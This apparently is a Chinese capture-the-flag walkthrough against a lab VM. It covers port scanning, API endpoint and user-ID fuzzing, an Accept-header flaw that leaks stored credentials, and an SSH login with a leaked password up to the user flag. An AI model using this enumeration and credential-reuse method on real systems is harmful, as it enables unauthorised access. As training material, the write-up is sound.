Nmap

先扫同网段存活主机:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:1c:b5:a2, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       VMware, Inc.
192.168.205.2   00:50:56:e0:22:04       VMware, Inc.
192.168.205.217 08:00:27:41:6d:e2       PCS Systemtechnik GmbH
192.168.205.254 00:50:56:ee:3d:16       VMware, Inc.

目标是:

192.168.205.217

全端口扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.217
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-09 04:38 -0400
Nmap scan report for 192.168.205.217
Host is up (0.00089s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5566/tcp open  westec-connect
MAC Address: 08:00:27:41:6D:E2 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.50 seconds

开放端口很少:

22/tcp   ssh
5566/tcp api

优先看 5566。


API

访问根路径:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.217:5566
{"hint":"Some endpoints respond differently based on what you ask for.","service":"Maze Corp Internal API Gateway","version":"2.1.0"}

提示语:

Some endpoints respond differently based on what you ask for.

这句话已经在暗示:

某些端点会根据请求头里“你想要什么格式”返回不同结果

先看根路径支持哪些方法:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.217:5566 -X OPTIONS -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:39:25 GMT
Content-Type: text/html; charset=utf-8
Allow: OPTIONS, GET, HEAD
Content-Length: 0
Connection: close

根路径只支持:

GET / HEAD / OPTIONS

POST 不允许:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.217:5566 -X POST
<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

根路径没有太多信息,开始枚举端点。


API 爆破

先手工试常见路径,没有结果:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ for p in api status health data users user fetch export import config admin debug info version render report convert parse; do printf "%-10s " "$p"; curl -s -o /dev/null -w "%{http_code}\n" 192.168.205.217:5566/$p; done
api        404
status     404
health     404
data       404
users      404
user       404
fetch      404
export     404
import     404
config     404
admin      404
debug      404
info       404
version    404
render     404
report     404
convert    404
parse      404

改为 ffuf 跑 /api/:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ffuf -u http://192.168.205.217:5566/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -mc all -fc 404 -t 80

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.205.217:5566/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

user                    [Status: 400, Size: 97, Words: 5, Lines: 2, Duration: 159ms]
health                  [Status: 200, Size: 33, Words: 1, Lines: 2, Duration: 305ms]

发现两个有效端点:

/api/health
/api/user

端点分析

先看 /api/health:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -si 192.168.205.217:5566/api/health
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:48:51 GMT
Content-Type: application/json
Content-Length: 33
Connection: close

{"status":"ok","users_total":25}

这里给出一个关键数字:

users_total = 25

说明数据库里一共有 25 个用户。

再看 /api/user:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -s 192.168.205.217:5566/api/user; echo
{"error":"Bad Request","message":"Missing path variable 'uid'.","path":"/api/user","status":400}

提示非常明显:

Missing path variable 'uid'

说明它要的是路径变量而不是 query 参数,也就是:

/api/user/<uid>

如果给非整数:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -s "192.168.205.217:5566/api/user/abc"; echo
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

这说明它是整型路由。

到这里还不能直接判断敏感分支,只知道它会“根据你 ask for 的内容”返回不同东西,所以先把常见的 Accept 类型都试一遍。这里先对一个不存在的 uid 看响应特征:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ for ct in application/json application/xml text/xml application/yaml text/yaml application/x-yaml application/* '*/*'; do echo "== Accept: $ct =="; curl -si 192.168.205.217:5566/api/user/1 -H "Accept: $ct"; echo; done
== Accept: application/json ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:18 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

== Accept: application/xml ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:18 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

== Accept: text/xml ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:18 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

== Accept: application/yaml ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:19 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

== Accept: text/yaml ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:19 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

== Accept: application/x-yaml ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:19 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

== Accept: application/* ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:19 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

== Accept: */* ==
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 08:51:19 GMT
Content-Type: application/json
Content-Length: 97
Connection: close

{"error":"Not Found","message":"User with uid '1' not found.","path":"/api/user/1","status":404}

对不存在的用户没有明显区别,因此还是要先找到真实存在的 uid,再测格式差异。


爆破有效 uid

这里直接用 ffuf 对 0-10000 跑整数枚举,筛出所有返回 200 的用户:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ffuf -u http://192.168.205.217:5566/api/user/FUZZ -w <(seq 0 10000) -mc 200 -t 100

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.205.217:5566/api/user/FUZZ
 :: Wordlist         : FUZZ: /proc/self/fd/11
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200
________________________________________________

1222                    [Status: 200, Size: 284, Words: 20, Lines: 12, Duration: 236ms]
1226                    [Status: 200, Size: 288, Words: 20, Lines: 12, Duration: 233ms]
1335                    [Status: 200, Size: 283, Words: 20, Lines: 12, Duration: 219ms]
1595                    [Status: 200, Size: 292, Words: 20, Lines: 12, Duration: 219ms]
1818                    [Status: 200, Size: 280, Words: 20, Lines: 12, Duration: 211ms]
1954                    [Status: 200, Size: 287, Words: 20, Lines: 12, Duration: 195ms]
3931                    [Status: 200, Size: 287, Words: 20, Lines: 12, Duration: 201ms]
4257                    [Status: 200, Size: 286, Words: 20, Lines: 12, Duration: 205ms]
4526                    [Status: 200, Size: 286, Words: 20, Lines: 12, Duration: 203ms]
4741                    [Status: 200, Size: 283, Words: 20, Lines: 12, Duration: 199ms]
4828                    [Status: 200, Size: 281, Words: 20, Lines: 12, Duration: 202ms]
5119                    [Status: 200, Size: 283, Words: 20, Lines: 12, Duration: 204ms]
5219                    [Status: 200, Size: 288, Words: 20, Lines: 12, Duration: 206ms]
6530                    [Status: 200, Size: 289, Words: 20, Lines: 12, Duration: 205ms]
6694                    [Status: 200, Size: 282, Words: 20, Lines: 12, Duration: 204ms]
7009                    [Status: 200, Size: 286, Words: 20, Lines: 12, Duration: 203ms]
7465                    [Status: 200, Size: 286, Words: 20, Lines: 12, Duration: 203ms]
7920                    [Status: 200, Size: 287, Words: 20, Lines: 12, Duration: 202ms]
8024                    [Status: 200, Size: 282, Words: 20, Lines: 12, Duration: 205ms]
8038                    [Status: 200, Size: 286, Words: 20, Lines: 12, Duration: 204ms]
8764                    [Status: 200, Size: 285, Words: 20, Lines: 12, Duration: 202ms]
9050                    [Status: 200, Size: 282, Words: 20, Lines: 12, Duration: 204ms]
9182                    [Status: 200, Size: 285, Words: 20, Lines: 12, Duration: 207ms]
9409                    [Status: 200, Size: 287, Words: 20, Lines: 12, Duration: 203ms]
9944                    [Status: 200, Size: 284, Words: 20, Lines: 12, Duration: 201ms]

把这些 uid 保存下来备用:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ printf "1222\n1226\n1335\n1595\n1818\n1954\n3931\n4257\n4526\n4741\n4828\n5119\n5219\n6530\n6694\n7009\n7465\n7920\n8024\n8038\n8764\n9050\n9182\n9409\n9944\n" | tee /tmp/uids.txt
1222
1226
1335
1595
1818
1954
3931
4257
4526
4741
4828
5119
5219
6530
6694
7009
7465
7920
8024
8038
8764
9050
9182
9409
9944

不同 Accept 下的差异

这次对一个真实存在的 uid 再测一遍:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ for ct in application/json application/xml text/xml application/yaml text/yaml application/x-yaml application/* '*/*'; do echo "== Accept: $ct =="; curl -si 192.168.205.217:5566/api/user/1222 -H "Accept: $ct"; echo; done
== Accept: application/json ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: application/json
Content-Length: 318
Connection: close

{"api_key":null,"backup_codes":null,"department":"\u4ea7\u54c1\u90e8","display_name":"Guo Hui","email":"guohui1222@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13830237187","private_notes":null,"role":"product","sso_token":null,"status":"active","uid":1222,"username":"guohui1222","vpn_access":false}

== Accept: application/xml ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: text/xml; charset=utf-8; charset=utf-8
Content-Length: 284
Connection: close

<?xml version="1.0" ?>
<user>
  <uid>1222</uid>
  <username>guohui1222</username>
  <display_name>Guo Hui</display_name>
  <role>product</role>
  <department>产品部</department>
  <email>guohui1222@mazesec.dsz</email>
  <phone>13830237187</phone>
  <status>active</status>
</user>

== Accept: text/xml ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: text/xml; charset=utf-8; charset=utf-8
Content-Length: 284
Connection: close

<?xml version="1.0" ?>
<user>
  <uid>1222</uid>
  <username>guohui1222</username>
  <display_name>Guo Hui</display_name>
  <role>product</role>
  <department>产品部</department>
  <email>guohui1222@mazesec.dsz</email>
  <phone>13830237187</phone>
  <status>active</status>
</user>

== Accept: application/yaml ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: text/xml; charset=utf-8; charset=utf-8
Content-Length: 284
Connection: close

<?xml version="1.0" ?>
<user>
  <uid>1222</uid>
  <username>guohui1222</username>
  <display_name>Guo Hui</display_name>
  <role>product</role>
  <department>产品部</department>
  <email>guohui1222@mazesec.dsz</email>
  <phone>13830237187</phone>
  <status>active</status>
</user>

== Accept: text/yaml ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: text/xml; charset=utf-8; charset=utf-8
Content-Length: 284
Connection: close

<?xml version="1.0" ?>
<user>
  <uid>1222</uid>
  <username>guohui1222</username>
  <display_name>Guo Hui</display_name>
  <role>product</role>
  <department>产品部</department>
  <email>guohui1222@mazesec.dsz</email>
  <phone>13830237187</phone>
  <status>active</status>
</user>

== Accept: application/x-yaml ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: text/xml; charset=utf-8; charset=utf-8
Content-Length: 284
Connection: close

<?xml version="1.0" ?>
<user>
  <uid>1222</uid>
  <username>guohui1222</username>
  <display_name>Guo Hui</display_name>
  <role>product</role>
  <department>产品部</department>
  <email>guohui1222@mazesec.dsz</email>
  <phone>13830237187</phone>
  <status>active</status>
</user>

== Accept: application/* ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: text/xml; charset=utf-8; charset=utf-8
Content-Length: 284
Connection: close

<?xml version="1.0" ?>
<user>
  <uid>1222</uid>
  <username>guohui1222</username>
  <display_name>Guo Hui</display_name>
  <role>product</role>
  <department>产品部</department>
  <email>guohui1222@mazesec.dsz</email>
  <phone>13830237187</phone>
  <status>active</status>
</user>

== Accept: */* ==
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Tue, 09 Jun 2026 13:25:34 GMT
Content-Type: text/xml; charset=utf-8; charset=utf-8
Content-Length: 284
Connection: close

<?xml version="1.0" ?>
<user>
  <uid>1222</uid>
  <username>guohui1222</username>
  <display_name>Guo Hui</display_name>
  <role>product</role>
  <department>产品部</department>
  <email>guohui1222@mazesec.dsz</email>
  <phone>13830237187</phone>
  <status>active</status>
</user>

到这里,漏洞点就非常明确了:

只有显式指定 Accept: application/json 时,才会返回完整敏感字段
其他常见 application/* 或 */* 都只会落到公开 XML 视图

所以后面的批量获取必须强制加上:

-H 'Accept: application/json'

敏感信息泄露

现在把 25 个用户的完整 JSON 全部拉出来:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ while read u; do echo "== $u =="; curl -s 192.168.205.217:5566/api/user/$u -H 'Accept: application/json'; echo; done < /tmp/uids.txt
== 1222 ==
{"api_key":null,"backup_codes":null,"department":"\u4ea7\u54c1\u90e8","display_name":"Guo Hui","email":"guohui1222@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13830237187","private_notes":null,"role":"product","sso_token":null,"status":"active","uid":1222,"username":"guohui1222","vpn_access":false}

== 1226 ==
{"api_key":"sk_internal_811959240839","backup_codes":"[\"873826\", \"222881\", \"499022\", \"408220\"]","department":"\u4eba\u529b\u8d44\u6e90\u90e8","display_name":"Zhang Yi","email":"zhangyi1226@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$7212395190469581","phone":"13830045087","private_notes":"API \u7f51\u5173\u7ba1\u7406\u540e\u53f0: https://admin.internal.1226.corp/token=726302371","role":"hr","sso_token":"sso_hr_1226_765523","status":"active","uid":1226,"username":"zhangyi1226","vpn_access":true}

== 1335 ==
{"api_key":"sk_internal_924543486034","backup_codes":"[\"831680\", \"639540\", \"977673\", \"390600\"]","department":"\u8fd0\u7ef4\u90e8","display_name":"Zhou Xin","email":"zhouxin1335@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$9920196542542048","phone":"13890468529","private_notes":"\u6570\u636e\u5e93\u8fde\u63a5\u4e32: mysql://admin:DbP4ss1335@db1335.internal:3306","role":"ops","sso_token":"sso_ops_1335_697223","status":"active","uid":1335,"username":"zhouxin1335","vpn_access":true}

== 1595 ==
{"api_key":"sk_internal_573115384412","backup_codes":"[\"541803\", \"539378\", \"851532\", \"349340\"]","department":"\u7814\u53d1\u90e8","display_name":"Huang Wei","email":"huangwei1595@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$3746499262861690","phone":"13840044318","private_notes":"VPN \u914d\u7f6e\u6587\u4ef6: /etc/openvpn/client1595.ovpn","role":"developer","sso_token":"sso_developer_1595_454267","status":"active","uid":1595,"username":"huangwei1595","vpn_access":true}

== 1818 ==
{"api_key":"sk_internal_840623136473","backup_codes":"[\"709419\", \"353364\", \"664903\", \"343165\"]","department":"\u8fd0\u7ef4\u90e8","display_name":"Zhu Jun","email":"zhujun1818@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$7614128357075414","phone":"13847372344","private_notes":"API \u7f51\u5173\u7ba1\u7406\u540e\u53f0: https://admin.internal.1818.corp/token=239851954","role":"ops","sso_token":"sso_ops_1818_875415","status":"active","uid":1818,"username":"zhujun1818","vpn_access":true}

== 1954 ==
{"api_key":"sk_internal_678689100421","backup_codes":"[\"827509\", \"834495\", \"759018\", \"415709\"]","department":"\u8d22\u52a1\u90e8","display_name":"Sun Dong","email":"sundong1954@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$1386953897523084","phone":"13896823803","private_notes":"\u4f01\u4e1a\u5fae\u4fe1 webhook: https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=321456147","role":"finance","sso_token":"sso_finance_1954_231228","status":"active","uid":1954,"username":"sundong1954","vpn_access":true}

== 3931 ==
{"api_key":null,"backup_codes":null,"department":"\u5916\u5305\u56e2\u961f","display_name":"Zhou Yang","email":"zhouyang3931@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13824346569","private_notes":null,"role":"contractor","sso_token":null,"status":"active","uid":3931,"username":"zhouyang3931","vpn_access":false}

== 4257 ==
{"api_key":null,"backup_codes":null,"department":"\u8bbe\u8ba1\u90e8","display_name":"Zhu Peng","email":"zhupeng4257@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13885724593","private_notes":null,"role":"design","sso_token":null,"status":"active","uid":4257,"username":"zhupeng4257","vpn_access":false}

== 4526 ==
{"api_key":null,"backup_codes":null,"department":"\u9500\u552e\u90e8","display_name":"Luo Jian","email":"luojian4526@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13885424047","private_notes":null,"role":"sales","sso_token":null,"status":"active","uid":4526,"username":"luojian4526","vpn_access":false}

== 4741 ==
{"api_key":null,"backup_codes":null,"department":"\u4ea7\u54c1\u90e8","display_name":"Luo Yi","email":"luoyi4741@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13846848018","private_notes":null,"role":"product","sso_token":null,"status":"active","uid":4741,"username":"luoyi4741","vpn_access":false}

== 4828 ==
{"api_key":null,"backup_codes":null,"department":"\u5916\u90e8\u5408\u4f5c","display_name":"Xu Yi","email":"xuyi4828@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13826244393","private_notes":null,"role":"guest","sso_token":null,"status":"active","uid":4828,"username":"xuyi4828","vpn_access":false}

== 5119 ==
{"api_key":null,"backup_codes":null,"department":"\u4ea7\u54c1\u90e8","display_name":"Xu Ping","email":"xuping5119@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13829047368","private_notes":null,"role":"product","sso_token":null,"status":"active","uid":5119,"username":"xuping5119","vpn_access":false}

== 5219 ==
{"api_key":"sk_internal_217855675970","backup_codes":"[\"682844\", \"235671\", \"451527\", \"632819\"]","department":"\u8fd0\u7ef4\u90e8","display_name":"Wang Qiang","email":"wangqiang5219@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$5546387341610051","phone":"13866983525","private_notes":"\u6570\u636e\u5e93\u8fde\u63a5\u4e32: mysql://admin:DbP4ss5219@db5219.internal:3306","role":"ops","sso_token":"sso_ops_5219_169217","status":"active","uid":5219,"username":"wangqiang5219","vpn_access":true}

== 6530 ==
{"api_key":"sk_internal_116444220617","backup_codes":"[\"648495\", \"289168\", \"375326\", \"604194\"]","department":"\u7814\u53d1\u4e8c\u90e8","display_name":"Sun Fei","email":"sunfei6530@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$5364283556298436","phone":"13881139200","private_notes":"Jenkins \u7ba1\u7406\u5458\u5bc6\u7801: Jenkins6530#Admin","role":"developer","sso_token":"sso_developer_6530_717712","status":"active","uid":6530,"username":"sunfei6530","vpn_access":true}

== 6694 ==
{"api_key":null,"backup_codes":null,"department":"\u5e02\u573a\u90e8","display_name":"He Si","email":"hesi6694@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13810641983","private_notes":null,"role":"marketing","sso_token":null,"status":"active","uid":6694,"username":"hesi6694","vpn_access":false}

== 7009 ==
{"api_key":null,"backup_codes":null,"department":"\u5916\u5305\u56e2\u961f","display_name":"Zhou Xia","email":"zhouxia7009@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13882885987","private_notes":null,"role":"contractor","sso_token":null,"status":"active","uid":7009,"username":"zhouxia7009","vpn_access":false}

== 7465 ==
{"api_key":null,"backup_codes":null,"department":"\u5916\u5305\u56e2\u961f","display_name":"Guo Hua","email":"guohua7465@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13821569223","private_notes":null,"role":"contractor","sso_token":null,"status":"active","uid":7465,"username":"guohua7465","vpn_access":false}

== 7920 ==
{"api_key":"sk_internal_464766883623","backup_codes":"[\"260921\", \"288066\", \"463417\", \"894174\"]","department":"\u4eba\u529b\u8d44\u6e90\u90e8","display_name":"He Long","email":"helong7920@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$1045328665585101","phone":"13830690378","private_notes":"Jenkins \u7ba1\u7406\u5458\u5bc6\u7801: Jenkins7920#Admin","role":"hr","sso_token":"sso_hr_7920_528232","status":"active","uid":7920,"username":"helong7920","vpn_access":true}

== 8024 ==
{"api_key":null,"backup_codes":null,"department":"\u5916\u90e8\u5408\u4f5c","display_name":"Li Wen","email":"liwen8024@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13828445950","private_notes":null,"role":"guest","sso_token":null,"status":"active","uid":8024,"username":"liwen8024","vpn_access":false}

== 8038 ==
{"api_key":"sk_internal_974818108609","backup_codes":"[\"344818\", \"988944\", \"873105\", \"266046\"]","department":"\u4fe1\u606f\u6280\u672f\u90e8","display_name":"Lin Hao","email":"linhao8038@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$7096212241602057","phone":"13853496395","private_notes":"Jenkins \u7ba1\u7406\u5458\u5bc6\u7801: Jenkins8038#Admin","role":"administrator","sso_token":"sso_administrator_8038_725761","status":"active","uid":8038,"username":"linhao8038","vpn_access":true}

== 8764 ==
{"api_key":"sk_internal_297624172687","backup_codes":"[\"946020\", \"203879\", \"488566\", \"401628\"]","department":"\u7814\u53d1\u90e8","display_name":"Gao Yan","email":"gaoyan8764@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$3636850726830173","phone":"13898408861","private_notes":"\u670d\u52a1\u5668 SSH \u5bc6\u7801: R00t8764!Pass","role":"developer","sso_token":"sso_developer_8764_245587","status":"active","uid":8764,"username":"gaoyan8764","vpn_access":true}

== 9050 ==
{"api_key":null,"backup_codes":null,"department":"\u9500\u552e\u90e8","display_name":"Xu Wei","email":"xuwei9050@mazesec.dsz","has_secret":false,"password_hash":null,"phone":"13879705234","private_notes":null,"role":"sales","sso_token":null,"status":"active","uid":9050,"username":"xuwei9050","vpn_access":false}

== 9182 ==
{"api_key":"sk_internal_540094580489","backup_codes":"[\"480869\", \"614114\", \"931691\", \"229605\"]","department":"\u8fd0\u7ef4\u90e8","display_name":"Zhou San","email":"zhousan9182@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$3482634224079702","phone":"13872573968","private_notes":"\u4f01\u4e1a\u5fae\u4fe1 webhook: https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=385237898","role":"ops","sso_token":"sso_ops_9182_701469","status":"active","uid":9182,"username":"zhousan9182","vpn_access":true}

== 9409 ==
{"api_key":"sk_internal_747986912366","backup_codes":"[\"518583\", \"522657\", \"645729\", \"380194\"]","department":"\u4eba\u529b\u8d44\u6e90\u90e8","display_name":"Zhou Peng","email":"zhoupeng9409@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$1754794148606713","phone":"13811811655","private_notes":"VPN \u914d\u7f6e\u6587\u4ef6: /etc/openvpn/client9409.ovpn","role":"hr","sso_token":"sso_hr_9409_230834","status":"active","uid":9409,"username":"zhoupeng9409","vpn_access":true}

== 9944 ==
{"api_key":"sk_internal_577387369293","backup_codes":"[\"308810\", \"955013\", \"236079\", \"354299\"]","department":"\u5b89\u5168\u90e8","display_name":"Zhu Wei","email":"zhuwei9944@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$8949234492517412","phone":"13814692474","private_notes":"VPN \u914d\u7f6e\u6587\u4ef6: /etc/openvpn/client9944.ovpn","role":"security","sso_token":"sso_security_9944_322993","status":"active","uid":9944,"username":"zhuwei9944","vpn_access":true}

到这里,敏感信息泄露已经非常完整了。除了用户名、部门、邮箱、手机号之外,还拿到了大量内部敏感数据。

从泄露数据中可直接获得的内容

可以总结出以下几类高价值信息:

1. SSH 明文密码

gaoyan8764 / R00t8764!Pass

对应记录:

{"api_key":"sk_internal_297624172687","backup_codes":"[\"946020\", \"203879\", \"488566\", \"401628\"]","department":"研发部","display_name":"Gao Yan","email":"gaoyan8764@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$3636850726830173","phone":"13898408861","private_notes":"服务器 SSH 密码: R00t8764!Pass","role":"developer","sso_token":"sso_developer_8764_245587","status":"active","uid":8764,"username":"gaoyan8764","vpn_access":true}

2. Jenkins 管理员密码

Jenkins6530#Admin
Jenkins7920#Admin
Jenkins8038#Admin

对应三条记录分别是:

{"api_key":"sk_internal_116444220617","backup_codes":"[\"648495\", \"289168\", \"375326\", \"604194\"]","department":"研发二部","display_name":"Sun Fei","email":"sunfei6530@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$5364283556298436","phone":"13881139200","private_notes":"Jenkins 管理员密码: Jenkins6530#Admin","role":"developer","sso_token":"sso_developer_6530_717712","status":"active","uid":6530,"username":"sunfei6530","vpn_access":true}
{"api_key":"sk_internal_464766883623","backup_codes":"[\"260921\", \"288066\", \"463417\", \"894174\"]","department":"人力资源部","display_name":"He Long","email":"helong7920@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$1045328665585101","phone":"13830690378","private_notes":"Jenkins 管理员密码: Jenkins7920#Admin","role":"hr","sso_token":"sso_hr_7920_528232","status":"active","uid":7920,"username":"helong7920","vpn_access":true}
{"api_key":"sk_internal_974818108609","backup_codes":"[\"344818\", \"988944\", \"873105\", \"266046\"]","department":"信息技术部","display_name":"Lin Hao","email":"linhao8038@mazesec.dsz","has_secret":true,"password_hash":"$2b$12$7096212241602057","phone":"13853496395","private_notes":"Jenkins 管理员密码: Jenkins8038#Admin","role":"administrator","sso_token":"sso_administrator_8038_725761","status":"active","uid":8038,"username":"linhao8038","vpn_access":true}

3. 数据库连接串

mysql://admin:DbP4ss1335@db1335.internal:3306
mysql://admin:DbP4ss5219@db5219.internal:3306

4. API 网关后台地址和 token

https://admin.internal.1226.corp/token=726302371
https://admin.internal.1818.corp/token=239851954

5. 企业微信 webhook

https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=321456147
https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=385237898

6. VPN 配置文件路径

/etc/openvpn/client1595.ovpn
/etc/openvpn/client9409.ovpn
/etc/openvpn/client9944.ovpn

7. 其他内部令牌和恢复信息

每个敏感用户还泄露了:

api_key
backup_codes
sso_token
password_hash
vpn_access

从利用角度来说,最直接的落地点有两个:

1. SSH 明文密码
2. Jenkins 管理员密码

这两个就足够完成整条攻击链了。


SSH 初始立足

直接用泄露到的 SSH 密码登录:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh gaoyan8764@192.168.205.217
gaoyan8764@192.168.205.217's password:

输入:

R00t8764!Pass

登录成功:

              _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

gaoyan8764@Preference:~$ id
uid=1000(gaoyan8764) gid=1000(gaoyan8764) groups=1000(gaoyan8764)

读取 user flag:

gaoyan8764@Preference:~$ cat /home/gaoyan8764/user.txt
flag{user-6380a935b0dc8e88865aba0c0524b9b5}

进入系统后的信息收集

先看 sudo 权限:

gaoyan8764@Preference:/home$ sudo -l
